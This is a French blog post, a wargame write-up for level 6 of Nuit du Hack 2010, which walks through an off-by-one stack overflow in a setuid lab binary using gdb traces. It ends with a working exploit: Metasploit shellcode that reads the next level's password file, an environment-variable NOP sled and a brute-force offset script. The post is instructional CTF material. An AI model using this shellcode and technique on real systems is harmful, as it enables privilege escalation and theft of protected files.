jeudi 22 juillet 2010

level6 wargame NDH2010 - tutoriel buffer overflow: un seul octet disponible pour contrôler l'adresse de retour

Cet article décrit la résolutions de l'épreuve n°6 du wargame de la Nuit du hack 2010. Il s'agit d'un buffer overflow. Ici, un contrôle de la taille du buffer entré est assuré par la fonction strlen(). Du coup, nous ne disposons que d'un octet pour contrôler l'adresse de retour. Cependant, nous allons voir que l'exploitation est possible.
L'intérêt de l'article réside dans la compréhension de la gestion des adresses de retour sur la pile.



le buffer overflow


voyons le source de l'exécutable:
level6@srv-public:~$ cat level6.c
#include < stdlib.h>
#include < stdio.h>
#include < string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
    if(strlen(arg)>128) {
        printf("Aww noes you'r crazy !\n");
        exit(0);
    }
    char buf[128];
    strcpy(buf, arg);
    return 0;
}

int main(int argc, char *argv[])
{
    if(!argv[1]) return;

    layer(argv[1]);
    return 0;
}
Nous constatons la  présence d'une protection. La longueur du buffer donné en argument à la fonction layer() est controlée:
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x129')
Aww noes you'r crazy !
pour un argument de taille inférieure strictement à 128, le programme quitte normalement:
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x127')

cependant pour un argument de 128 octets exactement, nous constatons une erreur :
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x128')
Instruction non permise

Explication générale


Voyons où se situe l'erreur. Nous utilisons gdb.

avec 128 octets en argument:
level6@srv-public:~$ gdb ./level6

(gdb) disassemble main
Dump of assembler code for function main:
   0x080484b0 <+0>:    push   %ebp
   0x080484b1 <+1>:    mov    %esp,%ebp
   0x080484b3 <+3>:    sub    $0x4,%esp
   0x080484b6 <+6>:    mov    0xc(%ebp),%eax
   0x080484b9 <+9>:    add    $0x4,%eax
   0x080484bc <+12>:    mov    (%eax),%eax
   0x080484be <+14>:    test   %eax,%eax
   0x080484c0 <+16>:    jne    0x80484c4
   0x080484c2 <+18>:    jmp    0x80484d9
   0x080484c4 <+20>:    mov    0xc(%ebp),%eax
   0x080484c7 <+23>:    add    $0x4,%eax
   0x080484ca <+26>:    mov    (%eax),%eax
   0x080484cc <+28>:    mov    %eax,(%esp)
   0x080484cf <+31>:    call   0x8048464
   0x080484d4 <+36>:    mov    $0x0,%eax
   0x080484d9 <+41>:    leave
   0x080484da <+42>:    ret  
End of assembler dump.

(gdb) break * main+42
Breakpoint 1 at 0x80484da

(gdb) run $(perl -e 'print "A"x128')
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484da in main ()

(gdb) info registers $esp
esp            0xbffff704    0xbffff704

(gdb) x/192x $esp-32
0xbffff6e4:    0xbffff6ec    0xbffff922    0x41414141    0x41414141
0xbffff6f4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff704:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff714:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff724:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff734:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff744:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff754:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff764:    0x41414141    0x41414141    0xbffff700    0x080484d4       <-- \x00 en 0xbffff76b
0xbffff774:    0xbffff922    0xbffff7d8    0xb7ea4c85    0x00000002
0xbffff784:    0xbffff804    0xbffff810    0xb7fe0b48    0x00000001
0xbffff794:    0x00000001    0x00000000    0x08048281    0xb7fd5ff4
0xbffff7a4:    0x080484f0    0x080483b0    0xbffff7d8    0x7a73011e
0xbffff7b4:    0x5104950e    0x00000000    0x00000000    0x00000000
0xbffff7c4:    0xb7ff6270    0xb7ea4bad    0xb7ffeff4    0x00000002
0xbffff7d4:    0x080483b0    0x00000000    0x080483d1    0x080484b0
0xbffff7e4:    0x00000002    0xbffff804    0x080484f0    0x080484e0
0xbffff7f4:    0xb7ff0fd0    0xbffff7fc    0xb7ffc793    0x00000002
0xbffff804:    0xbffff90e    0xbffff922    0x00000000    0xbffff9a3
0xbffff814:    0xbffff9b3    0xbffff9be    0xbffff9df    0xbffff9f2
0xbffff824:    0xbffff9fe    0xbffffeee    0xbffffef9    0xbfffff26
0xbffff834:    0xbfffff3c    0xbfffff4b    0xbfffff5c    0xbfffff6c
0xbffff844:    0xbfffff75    0xbfffff8c    0xbfffff9e    0xbfffffa6
0xbffff854:    0xbfffffb5    0x00000000    0x00000020    0xb7fe1414
0xbffff864:    0x00000021    0xb7fe1000    0x00000010    0x0febfbff
0xbffff874:    0x00000006    0x00001000    0x00000011    0x00000064
0xbffff884:    0x00000003    0x08048034    0x00000004    0x00000020
0xbffff894:    0x00000005    0x00000007    0x00000007    0xb7fe2000
0xbffff8a4:    0x00000008    0x00000000    0x00000009    0x080483b0
0xbffff8b4:    0x0000000b    0x000003ee    0x0000000c    0x000003ee
0xbffff8c4:    0x0000000d    0x000003ee    0x0000000e    0x000003ee
0xbffff8d4:    0x00000017    0x00000000    0x0000000f    0xbffff8fb
0xbffff8e4:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffff8f4:    0x00000000    0x69000000    0x00363836    0x00000000
0xbffff904:    0x00000000    0x00000000    0x682f0000    0x2f656d6f
0xbffff914:    0x6576656c    0x6c2f366c    0x6c657665    0x41410036
0xbffff924:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff934:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff944:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff954:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff964:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff974:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff984:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff994:    0x41414141    0x41414141    0x41414141    0x53004141
0xbffff9a4:    0x4c4c4548    0x69622f3d    0x61622f6e    0x54006873
Remarque: nous réutiliserons un peu plus tard l'adresse 0xbffff704, qui se trouve 20 octets après le début de notre buffer.

Avec 127 octets en argument:
(gdb) run $(perl -e 'print "A"x127')
Starting program: /home/level6/level6 $(perl -e 'print "A"x127')
Breakpoint 1, 0x080484da in main ()

(gdb) info registers $esp
esp            0xbffff77c    0xbffff77c

(gdb) x/192x $esp-32
0xbffff75c:    0x41414141    0x41414141    0x41414141    0x00414141     <-- \x00 en 0xbffff76b
0xbffff76c:    0xbffff778    0x080484d4    0xbffff923    0xbffff7d8
0xbffff77c:    0xb7ea4c85    0x00000002    0xbffff804    0xbffff810
0xbffff78c:    0xb7fe0b48    0x00000001    0x00000001    0x00000000
0xbffff79c:    0x08048281    0xb7fd5ff4    0x080484f0    0x080483b0
0xbffff7ac:    0xbffff7d8    0xecc3010f    0xc7b4951f    0x00000000
0xbffff7bc:    0x00000000    0x00000000    0xb7ff6270    0xb7ea4bad
0xbffff7cc:    0xb7ffeff4    0x00000002    0x080483b0    0x00000000
0xbffff7dc:    0x080483d1    0x080484b0    0x00000002    0xbffff804
0xbffff7ec:    0x080484f0    0x080484e0    0xb7ff0fd0    0xbffff7fc
0xbffff7fc:    0xb7ffc793    0x00000002    0xbffff90f    0xbffff923
0xbffff80c:    0x00000000    0xbffff9a3    0xbffff9b3    0xbffff9be
0xbffff81c:    0xbffff9df    0xbffff9f2    0xbffff9fe    0xbffffeee
0xbffff82c:    0xbffffef9    0xbfffff26    0xbfffff3c    0xbfffff4b
0xbffff83c:    0xbfffff5c    0xbfffff6c    0xbfffff75    0xbfffff8c
0xbffff84c:    0xbfffff9e    0xbfffffa6    0xbfffffb5    0x00000000
0xbffff85c:    0x00000020    0xb7fe1414    0x00000021    0xb7fe1000
0xbffff86c:    0x00000010    0x0febfbff    0x00000006    0x00001000
0xbffff87c:    0x00000011    0x00000064    0x00000003    0x08048034
0xbffff88c:    0x00000004    0x00000020    0x00000005    0x00000007
0xbffff89c:    0x00000007    0xb7fe2000    0x00000008    0x00000000
0xbffff8ac:    0x00000009    0x080483b0    0x0000000b    0x000003ee
0xbffff8bc:    0x0000000c    0x000003ee    0x0000000d    0x000003ee
---Type to continue, or q to quit---
0xbffff8cc:    0x0000000e    0x000003ee    0x00000017    0x00000000
0xbffff8dc:    0x0000000f    0xbffff8fb    0x00000000    0x00000000
0xbffff8ec:    0x00000000    0x00000000    0x00000000    0x69000000
0xbffff8fc:    0x00363836    0x00000000    0x00000000    0x00000000
0xbffff90c:    0x2f000000    0x656d6f68    0x76656c2f    0x2f366c65
0xbffff91c:    0x6576656c    0x4100366c    0x41414141    0x41414141
0xbffff92c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff93c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff94c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff95c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff96c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff97c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff98c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff99c:    0x41414141    0x53004141    0x4c4c4548    0x69622f3d
L'écart entre les deux hauts de la pile, dans les cas 127 et 128 octets, est de 120 octets ( 0xbffff7c - 0xbffff704). Pourquoi les hauts de pile diffèrent-t-il? Nous verrons cela en détail un peu plus tard. Expliquons tout d'abord l'erreur du programmeur.

l'erreur de programmation réside dans l'oubli du caractère NULL à la fin d'une chaîne

buf[] est un tableau de 128 caractères.
La protection sur la longueur concerne toute chaîne de 129 ou + caractères.

Lorsque nous soumettons une chaîne de 128 caractères, elle passe donc bien la protection. Cependant, c'est en fait une chaîne de 129 caractères (128 'A' + NULL) qui est copiée dans le buffer.

L'octet qui suit immédiatement le buffer buf[] est donc écrasé et remplacé par 0x00.

Rappelons nous le fonctionnement de la pile à l'appel de la fonction layer():

+--------------------------+
 |        buf                    |   <- le buffer est déclaré juste après push EBP
+--------------------------+
 |        $EBP                 |   <- push EBP est la première instruction de la fonction layer()
+--------------------------+ 
 |        $EIP                  |    <- EIP est empilé par Main() avant l'appel de layer()
+--------------------------+

C'est donc le dernier octet du registre $EBP de Main() (qui comporte 4 octets) qui est écrasé.

Or cette adresse $EBP correspond au bas de la pile de la fonction Main(). La conséquence est donc un décalage sur la pile après la sortie de layer().

Revenons à notre code source:
int main(int argc, char *argv[])
{
    if(!argv[1]) return;

    layer(argv[1]);
    return 0;
}
Après la fonction layer(), le programme veut récupérer la valeur d'EIP, qui avait été empilée avant l'appel de la fonction main(), afin de sortir de main(). Comme il y a un décalage, cet EIP est faux et le programme SEGFAULT.

Voyons à présent en détail cette explication. Nous allons commencer un jeu de piste:

Explication détaillée

Pourquoi $esp est il erroné à l'appel de l'instruction RET dans main()?


Voyons à quel moment les deux hauts de piles diffèrent entre les arguments de 127 et 128 octets.
Posons un breakpoint à la fin de la fonction layer et comparons les $esp:
(gdb) disassemble layer
Dump of assembler code for function layer:
(...)
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) break * layer+75
Breakpoint 1 at 0x80484af

avec 127 octets:

(gdb) run $(perl -e 'print "A"x127')
Starting program: /home/level6/level6 $(perl -e 'print "A"x127')
Breakpoint 1, 0x080484af in layer ()

(gdb) info registers $esp
esp            0xbffff770    0xbffff770
avec 128 octets:
(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484af in layer ()

(gdb) info registers $esp
esp            0xbffff770    0xbffff770
Nous constatons qu'à ce stade de l'exécution, la pile est identique pour les deux cas.
Continuons à chercher (toujours avec 128 octets comme argument):
(gdb) stepi
0x080484d4 in main ()

(gdb) info registers $esp
esp            0xbffff774    0xbffff774

(gdb) stepi
0x080484d9 in main ()
Nous sommes juste avant l'instruction leave:
(gdb) disassemble main
(...)
   0x080484cf <+31>:    call   0x8048464
   0x080484d4 <+36>:    mov    $0x0,%eax
=> 0x080484d9 <+41>:    leave
   0x080484da <+42>:    ret   

(gdb) info registers $esp
esp            0xbffff774    0xbffff774

(gdb) x/x $esp
0xbffff774:    0xbffff922
(gdb) x/48x 0xbffff922
0xbffff922:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff932:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff942:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff952:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff962:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff972:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff982:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff992:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff9a2:    0x45485300    0x2f3d4c4c    0x2f6e6962    0x68736162

(gdb) stepi
0x080484da in main ()
Nous sommes à présent juste avant l'instruction ret:
(gdb) disassemble main
(...)
   0x080484cf <+31>:    call   0x8048464
   0x080484d4 <+36>:    mov    $0x0,%eax
   0x080484d9 <+41>:    leave
=> 0x080484da <+42>:    ret

(gdb) info registers $esp
esp            0xbffff704    0xbffff704

(gdb) info registers $ebp
ebp            0x41414141    0x41414141   
Le registre $esp diffère donc juste après l'appel de l'instruction "leave".

Une recherche google nous précise le rôle de "leave" (cf http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax):
leave: This line, typically found at the end of subroutines, frees the space saved on the stack by copying EBP into ESP, then popping the saved value of EBP back to EBP.

ret: This line returns control to the calling procedure by popping the saved instruction pointer from the stack.
donc leave = ESP <- EBP  + POP [EBP]

Donc $ESP est erroné à l'appel de l'instruction RET dans main() parce que $EBP (0xbffff704), qui est placé dans ESP par l'instruction LEAVE, est erroné. Pourquoi $EBP est il erroné?

Pourquoi $EBP est il erroné avant l'instruction LEAVE de main()?

Recherchons à quel moment la valeur 0xbffff704 est placée dans $EBP

Placons un breakpoint juste avant l'apple de l'instruction LEAVE de la fonction layer()
(gdb) break * layer+74
Breakpoint 4 at 0x80484ae

(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 4, 0x080484ae in layer ()

(gdb) disassemble layer
Dump of assembler code for function layer:
   0x08048464 <+0>:    push   %ebp
   0x08048465 <+1>:    mov    %esp,%ebp
   0x08048467 <+3>:    sub    $0x88,%esp
   0x0804846d <+9>:    mov    0x8(%ebp),%eax
   0x08048470 <+12>:    mov    %eax,(%esp)
   0x08048473 <+15>:    call   0x8048368
   0x08048478 <+20>:    cmp    $0x80,%eax
   0x0804847d <+25>:    jbe    0x8048497
   0x0804847f <+27>:    movl   $0x80485a0,(%esp)
   0x08048486 <+34>:    call   0x8048388
   0x0804848b <+39>:    movl   $0x0,(%esp)
   0x08048492 <+46>:    call   0x8048398
   0x08048497 <+51>:    mov    0x8(%ebp),%eax
   0x0804849a <+54>:    mov    %eax,0x4(%esp)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
   0x080484a4 <+64>:    call   0x8048378
   0x080484a9 <+69>:    mov    $0x0,%eax
=> 0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) info registers $ebp
ebp            0xbffff76c    0xbffff76c

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff700

Puis exécutions l'instruction leave:
(gdb) stepi

(gdb) info registers $ebp
ebp            0xbffff700    0xbffff700
Donc $EBP est erroné avant l'instruction LEAVE de main() parce que $EBP est déjà erroné à l'appel de l'instruction LEAVE de la fonction layer().

Pourquoi $EBP est il erroné avant l'instruction LEAVE de layer()?

rappel sur l'instruction "leave" (cf http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax):
leave: This line, typically found at the end of subroutines, frees the space saved on the stack by copying EBP into ESP, then popping the saved value of EBP back to EBP.

ret: This line returns control to the calling procedure by popping the saved instruction pointer from the stack.
La valeur d'EBP sauvegardée au tout début de l'appel de la fonction layer() est popée dans $ebp. En effet nous nous rappelons que juste avant l'appel de LEAVE dans la fonction layer(), nous avions:
(gdb) info registers $ebp
ebp            0xbffff76c    0xbffff76c

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff700
Donc $EBP est erroné avant l'instruction LEAVE de layer() parceque la valeur à l'adresse 0xbffff76c est erronée. Sa valeur est 0xbffff700. Quand cette valeur est-elle définie?

Quand la valeur 0xbffff700 est elle pushée sur la pile à l'adresse 0xbffff76c ?

placons un breakpoint au début de la fonction layer() et vérifions pas à pas le contenu à l'adresse 0xbffff76c.

(gdb) break * layer
Breakpoint 5 at 0x8048464

(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 5, 0x08048464 in layer ()

(gdb) disassemble layer
Dump of assembler code for function layer:
=> 0x08048464 <+0>:    push   %ebp
   0x08048465 <+1>:    mov    %esp,%ebp
   0x08048467 <+3>:    sub    $0x88,%esp
   0x0804846d <+9>:    mov    0x8(%ebp),%eax
   0x08048470 <+12>:    mov    %eax,(%esp)
   0x08048473 <+15>:    call   0x8048368
   0x08048478 <+20>:    cmp    $0x80,%eax
   0x0804847d <+25>:    jbe    0x8048497
   0x0804847f <+27>:    movl   $0x80485a0,(%esp)
   0x08048486 <+34>:    call   0x8048388
   0x0804848b <+39>:    movl   $0x0,(%esp)
   0x08048492 <+46>:    call   0x8048398
   0x08048497 <+51>:    mov    0x8(%ebp),%eax
   0x0804849a <+54>:    mov    %eax,0x4(%esp)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
   0x080484a4 <+64>:    call   0x8048378
   0x080484a9 <+69>:    mov    $0x0,%eax
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) info registers $esp
esp            0xbffff770    0xbffff770

(gdb) x/x 0xbffff76c
0xbffff76c:    0xb7fd5ff4
Pour l'instant, la valeur à l'adresse 0xbffff76c est différente de celle que nous cherchons. Par contre, nous remarquons que le haut de la pile est à l'adresse 0xbffff770. Nous verrons plus tard que cette information est intéressante.

Placons un breakpoint avant l'appel de la fonction strcpy():
(gdb) break * layer+64
Breakpoint 6 at 0x80484a4

(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 6, 0x080484a4 in layer ()

(gdb) disassemble layer
(...)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
=> 0x080484a4 <+64>:    call   0x8048378
   0x080484a9 <+69>:    mov    $0x0,%eax
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff778

Puis voyons ce qui se passe juste après la fonction strcpy():
(gdb) nexti
0x080484a9 in layer ()

(gdb) disassemble layer
(...)
   0x0804849e <+58>:    lea    -0x80(%ebp),%eax
   0x080484a1 <+61>:    mov    %eax,(%esp)
   0x080484a4 <+64>:    call   0x8048378
=> 0x080484a9 <+69>:    mov    $0x0,%eax
   0x080484ae <+74>:    leave
   0x080484af <+75>:    ret  
End of assembler dump.

(gdb) x/x 0xbffff76c
0xbffff76c:    0xbffff770

Nous constatons que la fonction strcpy a modifié la valeur à l'adresse 0xbffff76c de 0xbffff778 à 0xbffff770.

Donc la valeur 0xbffff700 est pushée sur la pile à l'adresse 0xbffff76c par la fonction strcpy().


Pourquoi strcpy() modifie-t-elle la valeur de l'EBP sauvegardé par la fonction layer()?

Recommencons en nous intéressant à l'état de la pile avant et après strcpy
(gdb) run $(perl -e 'print "A"x128')
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484a4 in layer ()

(gdb) nexti
0x080484a9 in layer ()
avant strcpy():
(gdb) x/128x $esp-32
0xbffff6c4:    0xbffff76c    0xb7ff6270    0xbffff7a0    0xb7f02300
0xbffff6d4:    0xbffff922    0xb7fff8f8    0x080484f0    0x08048478
0xbffff6e4:    0xbffff6ec    0xbffff922    0xbffff7b0    0xb7fff8f8
0xbffff6f4:    0x08048281    0xb7fd41ec    0x00000000    0x00000000
0xbffff704:    0xb7f0b600    0x00000003    0x00000000    0x00001001
0xbffff714:    0x00000000    0x00000000    0x00000000    0x00004000
0xbffff724:    0xb7ebd845    0x00000001    0x00020800    0x00000000
0xbffff734:    0x0000000a    0xb7fd6cc0    0xb7fd5ff4    0xb7ff0fd0
0xbffff744:    0x080496a4    0xbffff758    0x08048334    0xb7fd6304
0xbffff754:    0x080496a4    0xbffff778    0x08048509    0xb7ebda45
0xbffff764:    0xb7ff0fd0    0x080484fb    0xbffff778    0x080484d4
0xbffff774:    0xbffff922    0xbffff7d8    0xb7ea4c85    0x00000002
0xbffff784:    0xbffff804    0xbffff810    0xb7fe0b48    0x00000001

après strcpy()
(gdb) x/128x $esp-32
0xbffff6c4:    0xbffff76c    0xb7ff6270    0x00000004    0xb7f01d40
0xbffff6d4:    0x080484f0    0x080483b0    0xbffff76c    0x080484a9
0xbffff6e4:    0xbffff6ec    0xbffff922    0x41414141    0x41414141
0xbffff6f4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff704:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff714:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff724:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff734:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff744:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff754:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff764:    0x41414141    0x41414141    0xbffff700    0x080484d4
0xbffff774:    0xbffff922    0xbffff7d8    0xb7ea4c85    0x00000002
0xbffff784:    0xbffff804    0xbffff810    0xb7fe0b48    0x00000001

Nous constatons que strcpy() a copié un octet de trop et a ainsi modifié le contenu de l'adresse 0xbffff76c de 0xbffff778 à 0xbffff700. Nous avons donc alors un décallage de 0x78 = 120 octets dans cette adresse.

pourquoi strcpy() copie-t-elle un caractère de trop?

revenons à notre code source:
int layer(char *arg){
    if(strlen(arg)>128) {
        printf("Aww noes you'r crazy !\n");
        exit(0);
    }
    char buf[128];
    strcpy(buf, arg);
    return 0;
}
notre buffer buf[] peut recevoir 128 caractères.

Or une chaîne de caractères passée en argument en contient 129: 128 'A' et un caractère NULL. C'est ce caractère NULL qui écrase le dernier octet de l'EBP sauvegardé par l'appel de layer().

payload

Nous utilisons Metasploit:
$ msfconsole

msf > use payload/linux/x86/exec

msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed

msf payload(exec) > set CMD "cat ../level7/passwd"
CMD => cat ../level7/passwd

msf payload(exec) > generate
# linux/x86/exec - 173 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level7/passwd
buf =
"\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50" +
"\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44" +
"\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45" +
"\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43" +
"\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46" +
"\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50" +
"\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44" +
"\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48" +
"\x4d\x4b\x30\x41\x41"

d'où notre payload:

"\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48\x4d\x4b\x30\x41\x41"


injection dans une variable d'environnement


Nous avons besoin de l'exécutable getenvaddress (vu au level5, ne pas oublier d'enlever les espaces ajoutés dans les #include à cause de blogger) :
level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>

int main(int argc, char **argv) {
    char *ptr;
    ptr = getenv(argv[1]);
    if( ptr == NULL )
        printf("%s not found\n", argv[1]);
    else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
    return 0;
}

compilons (rappel: enlever les espaces dans #include) :
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c

injectons en ajoutant des NOP:
export LOL=$(perl -e 'print "\x90"x200 . "\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48\x4d\x4b\x30\x41\x41"')

récupérons l'adresse:
level6@srv-public:~$ /tmp/getenvaddress LOL
LOL found at bffffe5e
Nous choisirons comme adresse 0xbffffe6e (16 octets plus loin, pour sauter dans les NOPs).

où placer l'adresse de notre payload?

Nous avons vu au début de l'article que l'adresse 0xbffff704 était intéressante et qu'elle se situait 20 octets après le début de notre chaîne. C'est ici que le programme cherche l'EIP sauvegardé avant l'appel de main(). C'est donc ici que nous allons placer l'adresse de notre payload.

Nous avons vu que cette adresse tombe au milieu de buf[] sur la pile. Heureux hasard! (merci les concepteurs de l'épreuve ;)

Cependant, il y a souvent des différences sur les adresses de pile entre gdb et le programme exécuté. Nous allons donc faire plusieurs essais pour placer l'adresse de notre payload dans la chaine, grace à un script

exploitation


Voici notre script. Il place successivement le début de l'adresse de saut sur chaque octet de notre buffer.
level6@srv-public:~$ vim /tmp/exploit.sh
#!/bin/sh
trap "" 11
for (( i=1; i<125; i++ )); do
  j=$((124-$i))
  ./level6 $(perl -e "print 'A'x$i . \"\x6e\xfe\xff\xbf\" . 'A'x$j") | grep -v segmentation
done

level6@srv-public:~$ chmod +x /tmp/exploit.sh

level6@srv-public:~$ /tmp/exploit.sh
MOT DE PASSE
Deux remarques sur le script:

trap "" 11 signifie "ne rien faire en cas de signal SIGSEGV "
grep -v segmentation signifie "afficher toutes les lignes sauf celles contenant 'segmentation'"


références

gestion des signaux en shell - http://www.christopher.compagnon.name/sitewww/shell-trap.html
pour connaitre la liste des signaux : $ trap -l

2 commentaires:

  1. Beau boulot, c'était donc bien un off-by-one :]. Je l'avais fait brutus perso' haha.

    N'empêche c'est une beauté l'off-by-one :].
    On crafte notre stack frame pour own EIP :).

    RépondreSupprimer
  2. Idem^^ Merci pour l'explication détaillée.

    RépondreSupprimer